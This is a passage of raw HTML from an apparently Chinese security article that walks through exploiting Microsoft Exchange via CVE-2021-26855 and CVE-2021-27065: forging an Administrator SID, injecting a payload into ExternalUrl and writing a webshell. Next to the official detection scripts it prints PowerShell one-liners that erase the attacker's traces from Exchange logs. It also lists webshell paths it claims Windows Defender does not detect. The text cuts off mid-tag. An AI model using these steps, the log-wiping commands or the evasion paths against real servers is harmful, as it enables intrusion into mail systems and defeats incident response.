data-backh="241" data-backw="528" data-cropselx1="0" data-cropselx2="528" data-cropsely1="0" data-cropsely2="241" data-galleryid="" data-ratio="0.4573925710123816" data-s="300,640" style="width: 528px;height: 242px;" data-type="png" data-w="2746" src="https://wechat2rss.xlab.app/img-proxy/?k=82d110e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldfByYxCkDwgyy53PhRqdv3KkC4ictGcVF7fIJaVWgkTAic2ny2rzWQQDoWXWmtzWeXicQqxGmAuUFulg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"></span><br/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span style="color: rgb(119, 119, 119);">SID也就是安全标识符（Security Identifiers），是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时，将给网络上的每一个帐户发布一个唯一的 SID。在域中，对象的SID＝域的SID + RID</span></span></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">即使在未知administrator邮箱名称的情况下，也可以通过普通用户的邮箱名称来获取域SID，接着再替换RID为500，即能得到当前域中Administrator的SID。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer"><span class="code-snippet__deletion">- user1&#39;s SID:    S-1–5–21–3698125033–3xxxxxxxxx–xxxxxxxx2–3102 </span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">- admin&#39;s SID:    S-1-5-21-3698125033-3xxxxxxxxx-xxxxxxxx2-500</span></span></code></pre></section><h4 cid="n76" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>身份认证</strong></span></h4><p cid="n77" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">使用SID向后端proxylogon.ecp发起认证请求，获取身份认证中所需的ASP.NET_SessionID和msExchEcpCanary值，注意此时获取到的身份信息权限已为Administrator。</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="103" data-backw="528" data-galleryid="" data-ratio="0.19456617002629273" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1141" src="https://wechat2rss.xlab.app/img-proxy/?k=84870f19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQHQZTh7sm3HSUziaFpTtiaX6CSx8bqsxUejThiaNXREMribT65HDtT8ic9gw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"></span><br/></p><h3 cid="n79" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>CVE-2021-27065</strong></span></h3><p cid="n80" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">通过上述的准备工作，我们已经获取到了带有administrator权限的身份认证信息，因此后续只需要按照顺序发送重置虚拟目录的数据包即可。</span></p><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">第一步：获取RawIdentity</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="205" data-backw="528" data-galleryid="" data-ratio="0.38879159369527144" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1142" src="https://wechat2rss.xlab.app/img-proxy/?k=fbddaa02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQWyBtIiaLJuATbZ7cDWn2PYKQfkrV4Uj5A218jpS4ibSKWaJSnC79lBhQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n334" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">第二步：准备payload</span></p><p cid="n335" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">替换第一步中获取到的RawIdentity，并在ExternalUrl中填入payload。</span></p><p cid="n336" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">【注意事项】: ExternalUrl对应的值为最大长度为255的url地址，所以必须带上</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">http://</code></span><span md-inline="plain" style="box-sizing: border-box;">或者</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">https://</code></span><span md-inline="plain" style="box-sizing: border-box;">，同时</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">%</code></span><span md-inline="plain" style="box-sizing: border-box;">符号将会被编码为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">%25</code></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.29955947136563876" data-s="300,640" style="" data-type="png" data-w="1135" src="https://wechat2rss.xlab.app/img-proxy/?k=f9472ef5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQn6avia26wj3fuDF8ogiaFxVYgtHnibR6CSiauFE0r1Y3rxQlpcWgHibCnGw%2F640%3Fwx_fmt%3Dpng"/></p><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">第三步：写入webshell</span></p><p cid="n88" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">在FilePathName中填入webshell的地址（任意）。</span></p><p cid="n89" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">【注意事项】: webshell无法覆盖已存在的文件</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.25880281690140844" data-s="300,640" style="" data-type="png" data-w="1136" src="https://wechat2rss.xlab.app/img-proxy/?k=c69cc573&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQ0kFM5CobKZkJ1XTeB8icIqsUs3xmwESpDKolwoG7ic1WUbv2oUfSmdBg%2F640%3Fwx_fmt%3Dpng"/></p><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><h3 cid="n91" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>攻击日志</strong></span></h3><h4 cid="n92" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>CVE-2021-26855</strong></span></h4><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">攻击痕迹会残留在以下目录中：</span></p><p cid="n94" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\HttpProxy</span></p><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging directory</span></p><p cid="n96" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">HttpProxy下的日志文件会详细记录下所有通过httpproxy来访问后端的记录，包括访问时间，uri地址，来源ip，user-agent，返回状态码等。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.2180385288966725" data-s="300,640" style="" data-type="png" data-w="1142" src="https://wechat2rss.xlab.app/img-proxy/?k=5d61e264&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQ7Z21QbH7duClO25miaqQg8vr0k23Mk57bec7ibIcajiaVTzrkQEXDzxDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><br/></p></section><section data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(41, 41, 41);"><p style="color: rgb(51, 51, 51);font-size: 16px;orphans: 4;white-space: pre-wrap;display: inline !important;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">官方给出的检测脚本：</p></section><section data-autoskip="1" style="line-height: 1.75em;"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Import-Csv</span> -Path (<span class="code-snippet__built_in">Get-ChildItem</span> -Recurse -Path <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$env:PROGRAMFILES</span>\Microsoft\Exchange Server\V15\Logging\HttpProxy&#34;</span> -Filter <span class="code-snippet__string">&#39;*.log&#39;</span>).FullName | <span class="code-snippet__built_in">Where-Object</span> { <span class="code-snippet__variable">$_</span>.AnchorMailbox <span class="code-snippet__nomarkup">-like</span> <span class="code-snippet__string">&#39;ServerInfo~*/*&#39;</span> -or <span class="code-snippet__variable">$_</span>.BackEndCookie <span class="code-snippet__nomarkup">-like</span> <span class="code-snippet__string">&#39;Server~*/*~*&#39;</span>} | select DateTime, AnchorMailbox, UrlStem, RoutingHint, ErrorCode, TargetServerVersion, BackEndCookie, GenericInfo, GenericErrors, UrlHost, Protocol, Method, RoutingType, AuthenticationType, ServerHostName, HttpStatus, BackEndStatus, UserAgent</span></code></pre></section><p style="orphans: 4;"><span style="letter-spacing: 1.5px;font-size: 16px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">清理痕迹：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Get-ChildItem</span> -Recurse -Path <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$env:PROGRAMFILES</span>\Microsoft\Exchange Server\V15\Logging\HttpProxy\Ecp&#34;</span> -Filter <span class="code-snippet__string">&#39;*.log&#39;</span> | % {(<span class="code-snippet__built_in">Get-Content</span> <span class="code-snippet__variable">$_</span>.FullName) | where {<span class="code-snippet__variable">$_</span> <span class="code-snippet__nomarkup">-notmatch</span> <span class="code-snippet__string">&#34;yourIP&#34;</span>} | <span class="code-snippet__built_in">Set-Content</span> <span class="code-snippet__variable">$_</span>.FullName}</span></code></pre></section><p cid="n102" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">【注意事项】：当天的日志因为会被W3wp.exe（IIS Application Pool Process）占用而无法修改</span></p><h4 cid="n103" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><br/></h4><h4 cid="n103" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>CVE-2021-27065</strong></span></h4><p cid="n104" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">攻击痕迹会残留在以下目录中：</span></p><p cid="n105" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">%PROGRAMFILES%\Microsoft\Exchange Server\V15\Logging\ECP\Server</span></p><p cid="n106" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">官方给出的检测脚本：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">Select</span>-<span class="code-snippet__keyword">String</span> -<span class="code-snippet__keyword">Path</span> <span class="code-snippet__string">&#34;$env:PROGRAMFILES\Microsoft\Exchange Server\V15\Logging\ECP\Server\*.log&#34;</span> -Pattern <span class="code-snippet__string">&#39;Set-.+VirtualDirectory&#39;</span></span></code></pre></section><p style="orphans: 4;"><span style="font-size: 16px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">此日志会详细记录ecp相关的所有请求（包括一部分http头信息和post body）。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.13496932515337423" data-s="300,640" style="" data-type="png" data-w="1141" src="https://wechat2rss.xlab.app/img-proxy/?k=cfeee45a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQcTRuI7SWnWUkr1On4AdUv8Js7t8De5XcSzShBDsUmMFwGiboplia8jMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="orphans: 4;"><span style="font-size: 16px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">清理痕迹：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="powershell"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">Get-ChildItem</span> -Recurse -Path <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$env:PROGRAMFILES</span>\Microsoft\Exchange Server\V15\Logging\ECP\Server&#34;</span> -Filter <span class="code-snippet__string">&#39;*.log&#39;</span> | % {(<span class="code-snippet__built_in">Get-Content</span> <span class="code-snippet__variable">$_</span>.FullName) | where {<span class="code-snippet__variable">$_</span> <span class="code-snippet__nomarkup">-notmatch</span> <span class="code-snippet__string">&#34;Set-.+VirtualDirectory&#34;</span>} | <span class="code-snippet__built_in">Set-Content</span> <span class="code-snippet__variable">$_</span>.FullName}</span></code></pre></section><p style="orphans: 4;"><span style="font-size: 16px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;">【注意事项】：当天的日志因为会被W3wp.exe（IIS Application Pool Process）占用而无法修改</span></p><p style="orphans: 4;"><br/></p><h3 cid="n113" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-weight: bold;"><span md-inline="plain" style="box-sizing: border-box;"><strong>杀软检测</strong></span></h3><p cid="n114" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="plain" style="box-sizing: border-box;">WD已经能够准确识别出webshell以及CVE-2021-27065漏洞，并拒绝程序对webshell的访问</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="244" data-backw="528" data-galleryid="" data-ratio="0.4616071428571429" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1120" src="https://wechat2rss.xlab.app/img-proxy/?k=f81f58d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQyApcmicT8WAvzhbYT62kC8BJROhq9hKr2Ld2yy8jia9yGOT0gVw7iclyQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n116" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><strong><span md-inline="plain" style="box-sizing: border-box;">监控的目录如下：</span></strong><span md-inline="plain" style="box-sizing: border-box;"></span></p><p cid="n117" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\xxx.aspx</span></p><p cid="n118" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\xxx.aspx</span></p><p cid="n119" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">【2021-04-16测试】：</span></strong>写入webshell的内容仅包含<code style="box-sizing: border-box;text-align: left;vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;font-family: var(--monospace);">&lt;/script&gt;</code>标签也会被windows defender查杀</span></p><p cid="n120" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">不被wd查杀的路径：</strong></span></p><p cid="n121" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\xxx.aspx</span></p><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\scripts\premium\xxx.aspx</span></p><p cid="n123" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\themes\resources\xxx.aspx</span></p><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span style="box-sizing: border-box;font-size: 14px;">C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.1.2044\scripts\premium\xxx.aspx</span></p><p cid="n125" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-size: 16px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: 